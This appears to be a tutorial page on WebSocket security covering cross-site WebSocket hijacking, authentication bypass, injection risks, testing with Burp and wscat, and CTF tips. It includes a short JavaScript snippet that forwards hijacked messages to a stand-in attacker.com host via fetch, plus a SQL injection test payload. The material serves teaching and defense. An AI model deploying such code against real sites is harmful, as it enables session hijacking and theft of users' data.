Skip to main content

61. WebSocket Security: Hidden Vulnerabilities in Real-Time Communication

Unlike HTTP, WebSocket provides persistent, bidirectional communication. It is widely used in modern web applications for chat, games, and real-time dashboards, but its security design is often weak.

How WebSocket Works​

A connection begins with an HTTP Upgrade request.

GET /chat HTTP/1.1
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==

The connection then switches to the ws:// or wss:// protocol and opens a stateful channel.

Major Vulnerabilities​

1. Cross-Site WebSocket Hijacking (CSWSH)​

WebSocket automatically includes cookies by default. Without Origin-header validation, an attacker's site can open a WebSocket connection under the victim's session.

// From the attacker's page
const ws = new WebSocket("wss://victim.com/chat");
ws.onmessage = (e) => fetch("https://attacker.com/?d=" + e.data);

If the server ignores the Origin header, the attacker can steal data.

Defense: Accept connections only from approved Origins on the server and include a CSRF token in the handshake parameters.

2. Authentication Bypass​

Some applications authenticate only the HTTP request and skip validation for WebSocket messages after the Upgrade.

  • Revalidate the token for every message
  • Authentication only during the WebSocket handshake is insufficient

3. Insufficient Input Handling​

XSS, SQL Injection, and Command Injection can occur through WebSocket just as they do through HTTP. Directly inserting a client message into the DOM or using it in a database query is dangerous.

Testing Methods​

Use the WebSocket History tab in Burp Suite to intercept and modify messages.

# Manual testing with wscat
wscat -c wss://target.com/ws
> {"action":"getUser","id":"1 OR 1=1"}

To build a CSWSH PoC, place WebSocket connection code on a page the victim will visit and send the response data to an external server.

CTF Tips​

  • If WebSocket messages use JSON, try __proto__ Pollution
  • Binary frames require opcode analysis
  • Race conditions: concurrent messages can trigger state races

Conclusion​

WebSocket is convenient but behaves differently from the traditional HTTP security model. Always cover all three essentials: Origin validation, per-message authentication, and input validation.